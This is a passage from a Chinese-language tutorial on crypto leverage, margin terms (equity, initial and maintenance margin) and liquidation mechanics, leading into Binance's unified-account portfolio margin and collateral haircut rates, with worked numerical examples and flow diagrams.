债务的本质与作用</h3><p><strong>债务为什么存在？</strong></p><p>债务在交易中的存在是为了实现<strong>资金杠杆</strong>，让交易者能够用较少的自有资金控制更大的仓位：</p><ol><li><strong>放大收益潜力</strong>：借入资金投资，收益按总投资额计算</li><li><strong>提高资金效率</strong>：相同资金可以参与更多投资机会</li><li><strong>套利机会</strong>：利用资金成本差异进行跨市场套利</li></ol><p><strong>债务的基本机制：</strong></p><p>假设你有1万元本金，想投资价值5万元的资产：</p><ul><li><strong>无债务模式</strong>：只能买1万元资产</li><li><strong>有债务模式</strong>：借4万元，总共投资5万元（5倍杠杆）</li></ul><p>此时你的财务结构：</p><ul><li><strong>资产</strong>：5万元投资</li><li><strong>负债</strong>：4万元借款</li><li><strong>权益</strong>：1万元（5万 - 4万）</li></ul><h3 id="3-3-债务如何用于套利">3.3 债务如何用于套利</h3><p><strong>跨期套利示例：</strong></p><p>市场机会：BTC现货价格40,000美元，3个月期货价格41,000美元</p><pre><code class="highlight mermaid">graph LR    subgraph &quot;跨期套利策略流程&quot;        A[&quot;发现价差&lt;br/&gt;🔍 现货$40k vs 期货$41k&quot;]        B[&quot;借入USDT&lt;br/&gt;💳 借入40,000 USDT&quot;]        C[&quot;买入现货&lt;br/&gt;📈 购买1 BTC&quot;]        D[&quot;卖出期货&lt;br/&gt;📉 空头1 BTC期货&quot;]        E[&quot;等待到期&lt;br/&gt;⏰ 持有3个月&quot;]        F[&quot;期货交割&lt;br/&gt;✅ 获得41,000 USDT&quot;]        G[&quot;还清债务&lt;br/&gt;💰 归还本金+利息&quot;]        H[&quot;套利收益&lt;br/&gt;🎯 无风险获利&quot;]    end    A --&gt; B    B --&gt; C    C --&gt; D    D --&gt; E    E --&gt; F    F --&gt; G    G --&gt; H    style A fill:#e3f2fd    style B fill:#ffebee    style C fill:#e8f5e8    style D fill:#fff3e0    style E fill:#f3e5f5    style F fill:#e8f5e8    style G fill:#ffebee    style H fill:#e8f5e8</code></pre><p><strong>图 3.2：跨期套利策略执行流程图</strong></p><p>如图 3.2 所示，跨期套利策略通过借贷机制实现价差捕获，展示了债务在交易策略中的核心作用。该流程从价差发现开始，通过借入资金购买现货并对冲期货，最终在到期时获得无风险收益，体现了统一账户中债务与资产的协调运作机制。</p><p><strong>套利策略：</strong></p><ol><li><strong>借入USDT</strong>：借40,000 USDT（负债）</li><li><strong>买入现货</strong>：购买1个BTC（资产）</li><li><strong>卖出期货</strong>：卖出1个BTC的3个月期货（对冲）</li><li><strong>到期交割</strong>：期货到期时，用现货交割获得41,000 USDT</li><li><strong>还清债务</strong>：归还40,000 USDT本金和利息</li><li><strong>获得收益</strong>：剩余部分为无风险套利收益</li></ol><p><strong>财务结构变化：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">开始时：</span><br><span class="line">资产：1 BTC (40,000 USDT) + 期货空头</span><br><span class="line">负债：40,000 USDT借款</span><br><span class="line">权益：0 USDT（初始投入为零）</span><br><span class="line"></span><br><span class="line">结束时：</span><br><span class="line">资产：41,000 USDT</span><br><span class="line">负债：40,000 USDT + 利息</span><br><span class="line">权益：约1,000 USDT - 利息 = 套利收益</span><br></pre></td></tr></table></figure><p><strong>跨币种套利示例：</strong></p><p>发现ETH/BTC汇率价差机会：</p><ol><li><strong>借入BTC</strong>：借入10个BTC</li><li><strong>卖出BTC</strong>：以高价卖出获得USDT</li><li><strong>买入ETH</strong>：用USDT买入ETH</li><li><strong>等待价格修正</strong>：ETH相对BTC升值</li><li><strong>反向操作</strong>：卖ETH买BTC，归还借款</li><li><strong>获得收益</strong>：价差收益减去借币利息</li></ol><h3 id="3-4-债务的风险：强制平仓机制">3.4 债务的风险：强制平仓机制</h3><p>债务带来机会的同时也带来风险。当资产价值下跌时：</p><p><strong>安全情况</strong>：</p><ul><li>资产价值：45,000 USDT</li><li>负债：40,000 USDT</li><li>权益：5,000 USDT（安全）</li></ul><p><strong>危险情况</strong>：</p><ul><li>资产价值：41,000 USDT</li><li>负债：40,000 USDT</li><li>权益：1,000 USDT（接近强平线）</li></ul><p><strong>强制平仓</strong>：</p><ul><li>资产价值：39,000 USDT</li><li>负债：40,000 USDT</li><li>权益：-1,000 USDT（资不抵债，触发强平）</li></ul><blockquote><p><strong>💡 关键洞察：</strong><br>债务使得权益对资产价格变化极度敏感。5倍杠杆意味着资产价格下跌20%，权益就会归零。这就是为什么需要维持保证金（MM）机制来提前预警和干预。</p></blockquote><h2 id="4-必须掌握的基础术语">4. 必须掌握的基础术语</h2><p>本章节详细解释统一账户系统中的核心交易术语，包括权益、初始保证金和维持保证金的深层含义及相互关系。这些概念的准确理解对于后续掌握统一账户的复杂计算机制至关重要。读者需要特别注意这些术语在不同交易场景下的具体应用和计算方法。</p><p>理解了基本的财务结构后，我们再来看交易中的具体术语。这些词在后续的讨论中会反复出现，理解它们是掌握统一账户机制的前提。</p><h3 id="4-1-权益（Equity）：不仅是-你拥有多少钱">4.1 权益（Equity）：不仅是&quot;你拥有多少钱&quot;</h3><p>权益是最基础但也最容易被误解的概念。表面上看，权益就是你的账户在当前时刻真正值多少钱，但实际上权益是一个<strong>经过算法计算和风险调整的综合价值</strong>。</p><blockquote><p><strong>🔍 权益的深层理解：</strong></p><p><strong>权益 ≠ 简单的资金净值</strong></p><p>权益不是简单的&quot;资产-负债&quot;，而是按照特定规则和算法计算后的值，考虑了：</p><ul><li><strong>风险折算</strong>：不同资产按风险系数折算价值</li><li><strong>流动性调整</strong>：考虑资产变现难度的价值调整</li><li><strong>时间锁定</strong>：锁定期限影响权益的实际价值</li><li><strong>市场深度</strong>：大额持仓的价值折扣</li></ul></blockquote><p><strong>权益的流动性分层：</strong></p><p>权益本身也有不同的&quot;流动性等级&quot;，就像金融市场中的不同期限产品：</p><p><strong>表 4.1：权益流动性分层对比表</strong></p><table><thead><tr><th>权益类型</th><th>流动性</th><th>风险调整</th><th>类比</th></tr></thead><tbody><tr><td><strong>即时可用权益</strong></td><td>100%</td><td>无折扣</td><td>活期存款</td></tr><tr><td><strong>锁定保证金权益</strong></td><td>受限</td><td>可能有折扣</td><td>定期存款</td></tr><tr><td><strong>质押权益</strong></td><td>低</td><td>显著折扣</td><td>债券投资</td></tr><tr><td><strong>长期锁仓权益</strong></td><td>极低</td><td>重大折扣</td><td>10年期国债 vs 30年期</td></tr></tbody></table><p><strong>实际案例理解：</strong></p><ul><li>你的1000USDT现金权益 ≠ 1000USDT锁定保证金权益</li><li>锁定权益在风险计算时可能按95%计算（流动性折扣）</li><li>质押中的权益可能按80%计算（时间和风险双重折扣）</li></ul><blockquote><p><strong>💡 核心洞察：</strong><br>就像30年期国债比10年期价格不同一样，不同流动性状态的权益在系统中有不同的&quot;有效价值&quot;。这就是为什么统一账户需要复杂的折算率体系。</p></blockquote><p><strong>现货账户的权益计算很简单：</strong><br>如果你持有1个BTC，当前价格是4万美元，那么你的现货权益就是4万美元。这里没有借贷关系，你拥有什么就值多少钱。</p><p><strong>合约账户的权益稍微复杂：</strong><br>假设你在合约账户存入1000USDT作为保证金，然后开了一个价值1万美元的BTC多头仓位（10倍杠杆）。如果BTC价格上涨10%，你的仓位盈利1000USDT，这时你的合约权益就是2000USDT（原本的1000 + 盈利的1000）。如果BTC下跌10%，你亏损1000USDT，权益就变成0。</p><p><strong>杠杆账户的权益最复杂：</strong><br>杠杆账户的权益计算之所以复杂，是因为涉及<strong>债务关系</strong>。权益不等于资产价值，而是 <strong>资产价值 - 债务</strong> 的净值。</p><p>假设你用1000USDT作为抵押，借了4000USDT买入以太坊（5倍杠杆）。此时：</p><ul><li><strong>你的资产</strong>：5000USDT等值的以太坊</li><li><strong>你的债务</strong>：4000USDT借款（需要还款）</li><li><strong>你的权益</strong>：资产 - 债务 = 5000 - 4000 = 1000USDT</li></ul><p><strong>价格上涨情况：</strong><br>如果以太坊涨了20%，你的投资变成6000USDT，但债务仍是4000USDT：</p><ul><li>权益 = 6000USDT（资产） - 4000USDT（债务） = 2000USDT</li></ul><p><strong>价格下跌情况：</strong><br>如果以太坊跌了20%，投资变成4000USDT：</p><ul><li>权益 = 4000USDT（资产） - 4000USDT（债务） = 0USDT</li><li>此时刚好够还借款，你的权益为零，触发强制平仓边缘</li></ul><h3 id="4-2-初始保证金（IM，Initial-Margin）：开仓需要的-入场费">4.2 初始保证金（IM，Initial Margin）：开仓需要的&quot;入场费&quot;</h3><p>初始保证金是你开新仓位时必须支付的资金。这可以理解为&quot;入场费&quot;或&quot;门槛&quot;。</p><p><strong>举例说明：</strong><br>你想开一个价值1万美元的BTC合约仓位，如果使用10倍杠杆，那么初始保证金就是1000美元。这1000美元就是IM，是你必须拿出来的真金白银。</p><p><strong>初始保证金的计算公式：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0463em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">L</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mord text"><span class="mord">(</span><span class="mord cjk_fallback">公式</span><span class="mord"> 4.1)</span></span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span>：初始保证金（Initial Margin）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：仓位价值（Position Value）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span>：杠杆倍数（Leverage）</li></ul><p><strong>公式原理：</strong><br>初始保证金是交易者开仓时必须提供的资金担保。杠杆倍数越高，所需的初始保证金越少，但风险也越大。该公式确保交易者有足够的资金承担潜在亏损。</p><p>不同的交易产品有不同的IM要求：</p><ul><li>现货交易：IM = 100%（你要买多少就得付多少钱）</li><li>10倍杠杆合约：IM = 10%</li><li>100倍杠杆合约：IM = 1%</li></ul><h3 id="4-3-维持保证金（MM，Maintenance-Margin）：不被踢出场的-最低要求">4.3 维持保证金（MM，Maintenance Margin）：不被踢出场的&quot;最低要求&quot;</h3><p>维持保证金是你必须在账户中保持的最低资金量。如果你的权益低于这个数字，就会被强制平仓。</p><p><strong>为什么需要MM？</strong><br>还是刚才的例子，你用1000美元开了1万美元的BTC仓位。如果BTC下跌，你开始亏损。当你的权益（剩余资金）不足以覆盖最低的维持保证金要求时，交易所就会强制平仓，防止你亏损更多钱。</p><p><strong>MM通常比IM要低：</strong></p><ul><li>IM（开仓）：可能需要1000美元</li><li>MM（维持）：可能只需要500美元</li></ul><blockquote><p><strong>🚨 重要概念澄清：IM与权益的关系！</strong></p><p>很多人对IM和权益的关系有误解，让我们明确区分：</p></blockquote><p><strong>IM的两个层面理解：</strong></p><ol><li><strong>作为资金锁定机制</strong>：IM是从你账户余额中锁定的资金</li><li><strong>作为权益组成部分</strong>：这些锁定资金仍然计入你的总权益</li></ol><p><strong>举例澄清：</strong><br>你的账户有2000USDT，开仓锁定1000USDT作为IM：</p><table><thead><tr><th>项目</th><th>金额</th><th>说明</th></tr></thead><tbody><tr><td><strong>原始余额</strong></td><td>2000USDT</td><td>开仓前的总资金</td></tr><tr><td><strong>IM锁定</strong></td><td>1000USDT</td><td>被锁定用作保证金</td></tr><tr><td><strong>可用余额</strong></td><td>1000USDT</td><td>剩余可用资金</td></tr><tr><td><strong>账户权益</strong></td><td>2000USDT + 未实现盈亏</td><td><strong>锁定资金仍计入权益</strong></td></tr></tbody></table><blockquote><p><strong>💡 关键理解：</strong></p><ul><li><strong>IM不会&quot;消失&quot;</strong>：锁定的1000USDT仍然属于你，计入权益</li><li><strong>权益包含IM</strong>：权益 = 可用余额 + 锁定保证金 + 未实现盈亏</li><li><strong>风险基于MM</strong>：只要权益 &gt; 500USDT（MM要求）就安全，不是权益 &gt; 1000USDT（IM）</li><li><strong>强平触发条件</strong>：当权益跌破MM要求时触发，此时你的2000USDT权益（含IM）已经跌到500USDT以下</li></ul></blockquote><h3 id="4-4-这三个概念的关系">4.4 这三个概念的关系</h3><p>我们用一个完整的例子来说明三者的关系：</p><p><strong>初始状态：</strong></p><ul><li>你的账户有2000USDT</li><li>想开1万美元的BTC多头仓位（10倍杠杆）</li><li>IM要求：1000USDT（开仓需要的钱）</li><li>MM要求：500USDT（维持仓位的最低要求）</li></ul><p><strong>开仓后：</strong></p><ul><li>占用了1000USDT作为保证金</li><li>剩余1000USDT可用余额</li><li>当前权益：2000USDT</li></ul><p><strong>市场下跌，BTC跌5%：</strong></p><ul><li>你的1万美元仓位亏损500USDT</li><li>当前权益：2000 - 500 = 1500USDT</li><li>因为1500 &gt; 500（MM要求），所以安全</li></ul><p><strong>继续下跌，BTC再跌10%：</strong></p><ul><li>你的仓位累计亏损1500USDT</li><li>当前权益：2000 - 1500 = 500USDT</li><li>刚好等于MM要求，开始危险</li></ul><p><strong>再下跌一点点：</strong></p><ul><li>权益跌破500USDT</li><li>触发强制平仓！</li></ul><p><strong>强制平仓的具体过程：</strong></p><p>假设BTC继续下跌，从原价再跌0.5%：</p><ul><li>你的1万美元仓位再亏损50USDT</li><li>当前权益：500 - 50 = 450USDT</li><li>450USDT &lt; 500USDT（MM要求）→ 触发强制平仓</li></ul><p><strong>平仓后的结果：</strong></p><ol><li><strong>系统自动卖出你的BTC仓位</strong>：按市价立即平仓</li><li><strong>扣除平仓费用</strong>：通常0.05%，约5USDT</li><li><strong>剩余资金</strong>：450 - 5 = 445USDT退回账户</li><li><strong>总损失</strong>：2000 - 445 = 1555USDT（约78%的本金）</li></ol><p><strong>关键insight：</strong><br>强制平仓不是在你亏光所有钱时才发生，而是在权益跌破维持保证金要求时就立即触发。这个机制保护了：</p><ul><li><strong>交易所</strong>：避免用户欠债无法偿还</li><li><strong>其他用户</strong>：维护市场稳定，防止连锁爆仓</li><li><strong>你自己</strong>：防止亏损超过本金（虽然此时已经损失惨重）</li></ul><p>这就是为什么理解IM、MM、权益三者关系如此重要的原因。</p><h2 id="5-传统交易模式：三种账户类型的本质区别">5. 传统交易模式：三种账户类型的本质区别</h2><p>本章节深入分析传统交易模式下现货、合约、杠杆三种账户类型的运作机制及其局限性。通过对比分析每种账户类型的优缺点，读者将理解为什么需要统一账户来解决传统模式中的资金孤立问题。这一认知对于理解统一账户的创新价值具有重要意义。</p><pre><code class="highlight mermaid">graph TB    subgraph &quot;Traditional Account Structure&quot;        subgraph &quot;Spot Account&quot;            A1[&quot;Cash/USDT&quot;]            A2[&quot;Cryptocurrencies&quot;]            A3[&quot;Direct Buy/Sell&quot;]            A4[&quot;No Leverage&quot;]        end        subgraph &quot;Futures Account&quot;            B1[&quot;Margin Balance&quot;]            B2[&quot;Long/Short Positions&quot;]            B3[&quot;Leverage up to 125x&quot;]            B4[&quot;Settlement &amp; Funding&quot;]        end        subgraph &quot;Margin Account&quot;            C1[&quot;Own Assets&quot;]            C2[&quot;Borrowed Assets&quot;]            C3[&quot;Leverage up to 10x&quot;]            C4[&quot;Interest Payments&quot;]        end        D[&quot;Isolated Risk Management&quot;]        E[&quot;Capital Inefficiency&quot;]        A1 -.-&gt; D        B1 -.-&gt; D        C1 -.-&gt; D        D --&gt; E    end    subgraph &quot;Unified Account Evolution&quot;        F[&quot;Cross-Asset Collateral&quot;]        G[&quot;Unified Risk Assessment&quot;]        H[&quot;Enhanced Capital Efficiency&quot;]        I[&quot;Portfolio Margin Benefits&quot;]        F --&gt; G        G --&gt; H        H --&gt; I    end    E -.-&gt;|&quot;Solution&quot;| F</code></pre><p><strong>图 5.1：传统交易模式三种账户类型对比图</strong></p><p>如图 5.1 所示，传统交易模式下的三种账户类型各自独立运作，形成了明显的资金孤立问题。现货账户资金无杠杆、合约账户风险集中、杠杆账户功能受限，这种分割导致资金利用效率低下，无法实现跨账户风险对冲和保证金共享，为统一账户的出现提供了必要性基础。</p><p>要理解统一账户，首先需要明白币安的三种基础账户类型各自的作用和局限性。</p><h3 id="5-1-现货账户：最简单的买卖交易">5.1 现货账户：最简单的买卖交易</h3><p>现货账户是最基础的账户类型，类似于你的钱包或银行账户。当你在币安买入BTC、ETH等数字货币时，这些币就存放在现货账户中。现货交易的特点是一手交钱一手交货，你花多少钱就买多少币，没有杠杆，也没有借贷关系。比如你有1000美元，就只能买价值1000美元的比特币，不多不少。</p><p>这种账户的优势是风险相对较低，你永远不会因为市场波动而被强制平仓，最多就是币价下跌导致资产缩水。但缺点也很明显：资金利用效率低，无法放大收益。当你看好某个币种想加大投入时，只能追加更多资金，没有其他选择。</p><h3 id="5-2-合约账户：放大收益与风险的工具">5.2 合约账户：放大收益与风险的工具</h3><p>合约账户的设计初衷是为了让交易者能够用较少的资金控制更大的仓位，也就是所谓的杠杆交易。这里的&quot;合约&quot;指的是期货合约，你并不是真正持有比特币，而是持有一份关于比特币价格变动的合约。</p><p>具体来说，如果你在合约账户中存入1000USDT作为保证金，选择10倍杠杆，你就可以开启价值10000USDT的比特币多头或空头仓位。当比特币价格上涨10%时，你的10000USDT仓位产生1000USDT的盈利，这相当于你本金的100%收益。但反过来，如果比特币下跌10%，你就会亏损1000USDT，本金全部亏光，触发强制平仓。</p><p>合约账户的资金是独立管理的，这些USDT保证金专门用于维持合约仓位，不能随意挪用。这种设计确保了风险的隔离，但也造成了资金使用效率的问题。</p><h3 id="5-3-杠杆账户：借币放大现货交易">5.3 杠杆账户：借币放大现货交易</h3><p>杠杆账户可以理解为现货交易的升级版，它允许你借入资金来放大现货交易的规模。与合约不同的是，杠杆交易最终持有的是真实的数字货币，而不是合约。</p><p>举例说明，假设你有1000USDT，看好以太坊，但觉得资金太少。在杠杆账户中，你可以用这1000USDT作为抵押，再借入4000USDT，总共用5000USDT买入以太坊，这就是5倍杠杆。如果以太坊上涨20%，你的5000USDT投资变成6000USDT，扣除借入的4000USDT本金和利息后，净收益远超过原本1000USDT只能产生的200USDT收益。</p><p>但杠杆交易的风险在于，如果以太坊价格下跌太多，你的抵押品价值不足以覆盖借款，系统就会强制平仓来保护放贷方的利益。此外，借币是有利息成本的，持仓时间越长，成本越高。</p><h3 id="5-4-传统模式的核心问题：资金孤立">5.4 传统模式的核心问题：资金孤立</h3><p>在传统模式下，这三种账户是完全独立运作的。你的现货账户可能有价值几十万美元的比特币，但这些资产无法为合约账户的交易提供保证金支持。同样，合约账户的USDT也无法用来购买现货，杠杆账户的资产也无法跨账户使用。</p><p>这种设计的初衷是风险隔离，确保不同交易策略的风险不会相互影响。但在实际使用中，这种隔离带来了严重的资金效率问题。最典型的场景是：你的现货账户有大量闲置资产，但合约账户保证金不足，无法扩大交易规模。你要么放弃交易机会，要么需要额外充值，这大大限制了交易的灵活性和资金的使用效率。</p><h2 id="6-统一账户的组合保证金机制">6. 统一账户的组合保证金机制</h2><p>本章节阐述统一账户的核心创新——组合保证金机制。通过深入分析资产折算率体系、双重风险定价模式和uniMMR统一风险计量方法，读者将理解统一账户如何实现跨资产的风险统一管理和资金效率优化。</p><pre><code class="highlight mermaid">graph LR    subgraph &quot;Unified Account Structure&quot;        A[&quot;Unified Account&quot;]        subgraph &quot;Asset Allocation&quot;            B[&quot;Spot Assets&quot;]            C[&quot;Futures Positions&quot;]            D[&quot;Margin Positions&quot;]        end        subgraph &quot;Risk Calculation&quot;            E[&quot;Adjusted Equity&quot;]            F[&quot;Maintenance Margin&quot;]            G[&quot;Opening Loss&quot;]        end        subgraph &quot;Risk Management&quot;            H[&quot;uniMMR&quot;]            I[&quot;Liquidation Threshold&quot;]            J[&quot;Risk Alerts&quot;]        end        A --&gt; B        A --&gt; C        A --&gt; D        B --&gt; E        C --&gt; E        D --&gt; E        B --&gt; F        C --&gt; F        D --&gt; F        E --&gt; G        E --&gt; H        F --&gt; H        G --&gt; H        H --&gt; I        H --&gt; J    end</code></pre><p><strong>图 6.1：统一账户组合保证金机制结构图</strong></p><p>如图 6.1 所示，统一账户通过组合保证金机制将原本分离的现货、合约、杠杆资产整合为统一的风险计算体系。所有资产共同参与调整后权益计算，共同承担维持保证金要求，并通过uniMMR指标实现统一的风险管理，从而解决了传统模式下的资金孤立问题。</p><h3 id="6-1-组合保证金的核心理念">6.1 组合保证金的核心理念</h3><p>统一账户模式的核心是<strong>组合保证金</strong>（Portfolio Margin）机制，它将传统的分账户风险管理升级为统一的资产组合风险评估。这不是简单的账户合并，而是一套精密的多维度风险计量体系。</p><p><strong>组合保证金的革命性突破：</strong></p><ol><li><strong>资产统一折算</strong>：将现货、合约、借贷账户的不同资产统一转换为保证金价值</li><li><strong>风险综合评估</strong>：通过uniMMR统一衡量所有账户的整体风险水平</li><li><strong>动态相互支撑</strong>：现货资产为合约提供保证金，合约盈利增强借贷抗风险能力</li><li><strong>智能资金调配</strong>：系统自动在账户间调配资金，最大化资金效率</li></ol><p><strong>margin + 权益 + 债务的综合计算体系：</strong></p><p>组合保证金的精髓在于将三个核心要素有机融合：</p><ul><li><strong>Margin（保证金）</strong>：不同账户类型的保证金需求统一计算</li><li><strong>权益（Equity）</strong>：所有资产价值经折算率调整后的净值</li><li><strong>债务（Debt）</strong>：借贷负债对整体风险的影响</li></ul><blockquote><p><strong>🏦 权益折算的金融逻辑：</strong></p><p>统一账户中的权益折算体现了现代金融风险管理的核心原理：</p><p><strong>1. 时间价值差异</strong></p><ul><li>即时可用资金 vs 锁定保证金：类似活期 vs 定期的利率差</li><li>不同锁定期限的权益：参考债券市场的期限结构定价</li></ul><p><strong>2. 流动性溢价</strong></p><ul><li>高流动性资产（USDT）：接近100%折算率</li><li>中等流动性资产（BTC/ETH）：95%左右折算率</li><li>低流动性资产（小币种）：可能只有50%折算率</li></ul><p><strong>3. 系统性风险调整</strong></p><ul><li>大额持仓的渐进式折扣：防止&quot;大而不倒&quot;的系统风险</li><li>相关性风险：相似资产组合的额外折扣</li></ul><p><strong>实际意义：</strong><br>这种多维度折算使得统一账户能够更精确地评估真实风险，就像银行评估不同抵押品一样，房产、股票、债券都有不同的抵押率。</p></blockquote><h3 id="6-2-双重风险定价：资产折算率体系">6.2 双重风险定价：资产折算率体系</h3><pre><code class="highlight mermaid">graph TB    subgraph &quot;资产折算率双重风险定价体系&quot;        A[&quot;统一账户资产&lt;br/&gt;💰 Multi-Asset Portfolio&quot;]        subgraph &quot;维度一: 资产类型风险定价&quot;            B1[&quot;稳定币资产&lt;br/&gt;🏦 USDT/USDC/BUSD&quot;]            B2[&quot;主流加密货币&lt;br/&gt;💎 BTC/ETH&quot;]            B3[&quot;热门币种&lt;br/&gt;🚀 BNB/SOL/ADA&quot;]            B4[&quot;其他币种&lt;br/&gt;🔶 Altcoins&quot;]            B1 --&gt; B1_R[&quot;折算率: 99.99%&lt;br/&gt;💚 极低风险&quot;]            B2 --&gt; B2_R[&quot;折算率: 95.00%&lt;br/&gt;🟢 低风险&quot;]            B3 --&gt; B3_R[&quot;折算率: 90-95%&lt;br/&gt;🟡 中等风险&quot;]            B4 --&gt; B4_R[&quot;折算率: 75-90%&lt;br/&gt;🟠 较高风险&quot;]        end        subgraph &quot;维度二: 持仓数量影响&quot;            C1[&quot;小额持仓&lt;br/&gt;📊 Low Exposure&quot;]            C2[&quot;中等持仓&lt;br/&gt;📈 Medium Exposure&quot;]            C3[&quot;大额持仓&lt;br/&gt;📉 Large Exposure&quot;]            C4[&quot;超大持仓&lt;br/&gt;⚠️ Extreme Exposure&quot;]            C1 --&gt; C1_R[&quot;数量系数: 1.0&lt;br/&gt;✅ 无额外折扣&quot;]            C2 --&gt; C2_R[&quot;数量系数: 0.95&lt;br/&gt;🟡 轻微折扣&quot;]            C3 --&gt; C3_R[&quot;数量系数: 0.90&lt;br/&gt;🟠 中等折扣&quot;]            C4 --&gt; C4_R[&quot;数量系数: 0.85&lt;br/&gt;🔴 高额折扣&quot;]        end        subgraph &quot;综合折算计算&quot;            D1[&quot;基础折算率&lt;br/&gt;📊 r_base&quot;]            D2[&quot;数量衰减系数&lt;br/&gt;📉 α_q&quot;]            D3[&quot;有效折算率&lt;br/&gt;✅ r_eff = r_base × α_q&quot;]        end        subgraph &quot;风险逻辑分析&quot;            E1[&quot;价格稳定性&lt;br/&gt;📊 Price Stability&quot;]            E2[&quot;市场流动性&lt;br/&gt;🌊 Market Liquidity&quot;]            E3[&quot;波动性水平&lt;br/&gt;📈 Volatility Level&quot;]            E4[&quot;系统性风险&lt;br/&gt;⚠️ Systemic Risk&quot;]            E1 --&gt; E1_I[&quot;USDT锚定1美元&lt;br/&gt;💵 Pegged to USD&quot;]            E2 --&gt; E2_I[&quot;24h交易量&lt;br/&gt;📊 Daily Volume&quot;]            E3 --&gt; E3_I[&quot;历史波动率&lt;br/&gt;📉 Historical Volatility&quot;]            E4 --&gt; E4_I[&quot;集中度风险&lt;br/&gt;🎯 Concentration Risk&quot;]        end        subgraph &quot;实际应用案例&quot;            F1[&quot;案例1: 小额USDT&lt;br/&gt;💵 1,000 USDT&quot;]            F2[&quot;案例2: 中等BTC&lt;br/&gt;₿ 10 BTC&quot;]            F3[&quot;案例3: 大额ETH&lt;br/&gt;Ξ 1,000 ETH&quot;]            F4[&quot;案例4: 超大SOL&lt;br/&gt;◎ 100,000 SOL&quot;]            F1 --&gt; F1_C[&quot;有效折算率: 99.99%&lt;br/&gt;✅ 几乎无折扣&quot;]            F2 --&gt; F2_C[&quot;有效折算率: 90.25%&lt;br/&gt;🟡 中等折扣&quot;]            F3 --&gt; F3_C[&quot;有效折算率: 85.50%&lt;br/&gt;🟠 较高折扣&quot;]            F4 --&gt; F4_C[&quot;有效折算率: 76.50%&lt;br/&gt;🔴 高额折扣&quot;]        end    end    A --&gt; B1    A --&gt; B2    A --&gt; B3    A --&gt; B4    A --&gt; C1    A --&gt; C2    A --&gt; C3    A --&gt; C4    B1_R --&gt; D1    B2_R --&gt; D1    B3_R --&gt; D1    B4_R --&gt; D1    C1_R --&gt; D2    C2_R --&gt; D2    C3_R --&gt; D2    C4_R --&gt; D2    D1 --&gt; D3    D2 --&gt; D3    D3 --&gt; E1    D3 --&gt; E2    D3 --&gt; E3    D3 --&gt; E4    D3 --&gt; F1    D3 --&gt; F2    D3 --&gt; F3    D3 --&gt; F4    style A fill:#e3f2fd    style B1 fill:#c8e6c8    style B2 fill:#e8f5e8    style B3 fill:#fff9c4    style B4 fill:#ffcc80    style B1_R fill:#c8e6c8    style B2_R fill:#e8f5e8    style B3_R fill:#fff9c4    style B4_R fill:#ffcc80    style C1 fill:#e8f5e8    style C2 fill:#fff3e0    style C3 fill:#ffcc80    style C4 fill:#ffcdd2    style C1_R fill:#e8f5e8    style C2_R fill:#fff3e0    style C3_R fill:#ffcc80    style C4_R fill:#ffcdd2    style D1 fill:#e1f5fe    style D2 fill:#e1f5fe    style D3 fill:#e8f5e8    style E1 fill:#f3e5f5    style E2 fill:#f3e5f5    style E3 fill:#f3e5f5    style E4 fill:#f3e5f5    style E1_I fill:#fff3e0    style E2_I fill:#fff3e0    style E3_I fill:#fff3e0    style E4_I fill:#fff3e0    style F1 fill:#c8e6c8    style F2 fill:#fff9c4    style F3 fill:#ffcc80    style F4 fill:#ffcdd2    style F1_C fill:#c8e6c8    style F2_C fill:#fff9c4    style F3_C fill:#ffcc80    style F4_C 